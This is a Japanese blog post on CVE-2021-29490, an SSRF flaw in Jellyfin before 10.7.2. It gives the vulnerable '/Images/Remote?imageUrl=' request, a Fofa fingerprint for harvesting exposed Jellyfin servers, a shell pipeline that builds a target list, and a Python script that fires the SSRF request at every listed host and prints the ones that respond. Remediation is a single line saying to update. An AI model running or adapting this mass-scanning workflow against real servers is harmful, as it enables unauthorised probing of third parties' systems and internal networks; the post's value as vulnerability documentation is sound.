xfeng

xfeng

Sporting | Reading | Technology | Recording
github
bilibili

CVE-2021-29490-Jellyfin-SSRF

1. 脆弱性の概要#

Jellyfin は、メディアの管理とストリーミングを制御することができるフリーソフトウェアのメディアシステムです。これは、専用サーバーからエンドユーザーのデバイスにメディアを提供するための複数のアプリケーションを介して、Emby や Plex の代替となるものです。Jellyfin は、Emby 3.5.2 の後継であり、完全なクロスプラットフォームサポートを提供するために.NET Core フレームワークに移植されました。追加の条件はなく、単にチームがより良いものを構築し、共同でそれを実現するために努力しているだけです。すべてのユーザーが最高のメディアシステムにアクセスできるようにすることに専念しています。

Jellyfin RemoteImageController.cs ファイルに SSRF 脆弱性が存在し、特殊なリクエストを構築することで、内部ネットワークの情報を探知することができます。

2. 影響を受けるバージョン#

Jellyfin < 10.7.2

3. 脆弱性の再現手順#

/Images/Remote?imageUrl=http://www.baidu.com

Fofa 検索エンジンのフィンガープリントは:"Jellyfin" && port="8096" であり、Fofa 采集工具.exe を使用してアセットを一括収集します。

image

収集したアセットの結果は、同じディレクトリに result.csv ファイルとして保存されます。

image

シェルコマンドを使用して IP またはドメインをフィルタリングします。

cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt

次に、Python スクリプトを使用して一括で検証します。

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def Jellyfin():
    with open("Jellyfin.txt") as file:
        for line in file:
            vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"

            try:
                response = requests.get(url=vuln_url, verify=False, timeout=10)
                if response.status_code == 200:
                    print(vuln_url)
                else:
                    pass
                    continue
            except Exception as e:
                pass
                #print(e)
                continue

def main():
    Jellyfin()

if __name__ == '__main__':
    main()

image

4. 脆弱性の修正#

バージョンを更新してください。

5. 参考リンク#

SSRF 脆弱性については、次の記事を参照してください:

Web 安全之 SSRF 漏洞

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。